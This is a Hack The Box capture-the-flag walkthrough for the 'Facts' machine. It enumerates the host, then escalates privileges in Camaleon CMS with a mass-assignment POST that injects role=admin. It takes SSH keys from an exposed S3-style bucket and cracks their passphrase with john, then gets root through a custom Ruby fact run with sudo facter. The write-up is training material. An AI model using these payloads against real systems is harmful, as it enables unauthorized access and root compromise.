Overview

The machine starts by Simple enumeration that discovers an admin panel which is vulnerable to Privilege escalation which gives us admin privilege on that admin panel From here we can find AWS keys configured to a custom endpoint exposed externally with an ssh keys stored in S3 bucket Cracking this SSH key gets us foothold on the target and by exploiting facter binary we get a root shell

Enumeration

bash
jimmex@attacker ~/htb/labs/facts  nmap -sC -sV -vv -oA results 10.129.16.47
                                                        Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-28 04:02 EET
< snip>
PORT STATE SERVICE REASON VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=
| 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
| _ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK
80/tcp open  http    syn-ack ttl 63 nginx 1.26.3 (Ubuntu)
| _http-title: Did not follow redirect to http://facts.htb/
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| _http-server-header: nginx/1.26.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port Service Notes
22 SSH OpenSSH 9.9p1, TTL 63
80 http redirects to facts.htb

so add it to your hosts file

plaintext
10.129.16.47 facts.htb

and open full scan in the background and start inspecting the site

bash
jimmex@attacker ~/htb/labs/facts ➜ whatweb http://facts.htb 
http://facts.htb [200 OK] Cookies[_factsapp_session], Country[RESERVED][ZZ], Email[contact@facts.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.26.3 (Ubuntu)], HttpOnly[_factsapp_session], IP[10.129.16.47], Open-Graph-Protocol[website], Script, Title[facts], UncommonHeaders[x-content-type-options,x-permitted-cross-domain-policies,referrer-policy,plugin_front_cache,x-request-id], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge], X-XSS-Protection[0], nginx[1.26.3]

Pasted image 20260328040619.png nothing interesting here, just ruby on rails website so lets see if there is any hidden directories

bash
jimmex@attacker ~/htb/labs/facts  ffuf -u http://facts.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
< snip>
________________________________________________

admin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 753ms] #interesting
search [Status: 200, Size: 19187, Words: 3276, Lines: 272, Duration: 1657ms]
< snip>
post [Status: 200, Size: 11308, Words: 1414, Lines: 152, Duration: 2075ms] #interesting

and we got admin panel Pasted image 20260328040951.png so lets create an account and see what happens Pasted image 20260328041108.png so create an account and login, and it see that it runs camaleon CMS v2.9.0 Pasted image 20260328041204.png

Pre-foothold Camaleon Privilege Escalation

that version is vulnerable to CVE-2025-2304 which is authenticated privilege escalation

CVE-2025-2304

Mass Assignment/Privilege escalation in Camaleon CMS the root cause

  1. it comes from permit! method in the UserController's updated_ajax function
  2. the issues with .permit! that it allows all parameters to pass through without any filtering (no questions asked)
  3. so the flow is we login in with our low privilege user (client) → attempt password change and intercept it → and inject any extra parameter along side so our request will look like this
http
POST /admin/users/[id]/updated_ajax
password[password]=anything&password[password_confirmation]=anything&password[role]=admin

and just like that we are admin

Pasted image 20260328041529.png and as you can see we are admin and got a lot of stuff to control now Pasted image 20260328041559.png first thing comes in my mind when i attack any kind of CMS is RCE injection through templates but it didn't work here and there is also an upload functionality that might lead to RCE through shell upload (but look around first to find any easy findings) but if we went first to settings → general settings Pasted image 20260328041824.png

Foothold

that's an S3 bucket that we can get our hands on, maybe we can find keys or notes about any users which runs on 54321 so lets see if this port is exposed or not back to our full nmap scan Pasted image 20260328042149.png now it all make sense that this is our way in

don't do script or service scanning with full ports scan cause it'll take a ton of your time and all you need to know what are the opened ports then do a full scan on them if you need

lucky us we know what that port is for

so first configure AWS cli with access key and secret key Pasted image 20260328042330.png the thing is these buckets aren't actually on AWS real servers, the target is using AWS services locally some thing like LocalStack or MinIO so we have to define where is our endpoint so CLI can reach the bucket

then define the endpoint and query that bucket (first we started with the URL that we found on the site) → shouldn't work and you shouldn't even think about that cause it is running on the target locally but we aren't on the target yet and as we saw that port is open from the full nmap scan so lets define the domain and see what we find Pasted image 20260328042403.png now we got 2 folders so lets see what's inside internal Pasted image 20260328042605.png and we got ssh keys that I'll copy to our machine Pasted image 20260328042746.png and we got the keys so the thing is we don't know who does it belong to and whether it has a passphrase or not lets extract public key from private key Pasted image 20260328043030.png and we see that we need a passphrase so we need to get that from the private key so lets extract hash from that key and brute force it

bash
jimmex@attacker ~/htb/labs/facts ➜ ssh2john id_ed25519                                                                                                      
id_ed25519:$sshng$6$16$b46aafdffff34ea2f954a0821b2c7237$290$6f70656e73<snip>96edc3fde$24$130

then run john Pasted image 20260328043944.png it should take a couple of minutes to get the passphrase

if you didn't know that you could get the user from the private key by extracting public key from it there is this blog that you can read about SSH process maybe it'll benefit you SSH

there was another way i did when i first solved the box it was some kind of RCE thing through one of the upload file parameters that let me read /etc/passwd and see what are the possible users with shell and run the password over them Pasted image 20260328044204.png and we got a shell, the flag is in william home directory Pasted image 20260328044258.png now lets see what we can do

Privilege Escalation

when i ran sudo -l there is some a binary that we can run as sudo

bash
trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty                              

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

so lets see what it does

bash
trivia@facts:/home/william$ sudo facter -h
Usage
=====

  facter [options] [query] [query] [...]

Options
=======
           [--color]                      Enable color output.                                                                                              
           [--no-color]                   Disable color output.                                                                                             
        -c [--config] The location of the config file.
           [--custom-dir]                 A directory to use for custom facts.                                                                              
        -d [--debug] Enable debug output.
           [--external-dir]               A directory to use for external facts.                                                                            
           [--hocon]                      Output in Hocon format.                                                                                           

           [--no-ruby]                    Disable loading Ruby, facts requiring Ruby, and custom facts.                      
  < snip>

Facter is a command-line tool that gathers basic facts about nodes (systems) such as hardware details, network settings, OS type and version, and more. These facts are made available as variables in your Puppet manifests and can be used to inform conditional expressions in Puppet.

one of the options says --custom-dir so we can identify custom facts and because it say --no-ruby means that we can give ruby so lets create a custom fact file that spawns a shell in the context of sudo

and if we looked how this facts are written they are written using specific DSL (domain specific language) and here is how it should look like

rb
Facter.add('hardware_platform') do
  setcode do
    Facter::Core::Execution.exec('/usr/bin/uname --hardware-platform')
  end
end

so we will craft this

rb
Facter.add('poe') do
  setcode do
    exec('/bin/bash')
  end
end

of course in normal pentesting process you wouldn't wanna flex and call it PoE or any kinda of suspicious names cause you wanna survive not get caught before you even start

Pasted image 20260328045745.png

if you are lazy you could've just went to GTFOBins and found your way around it but it's not healthy though

Resources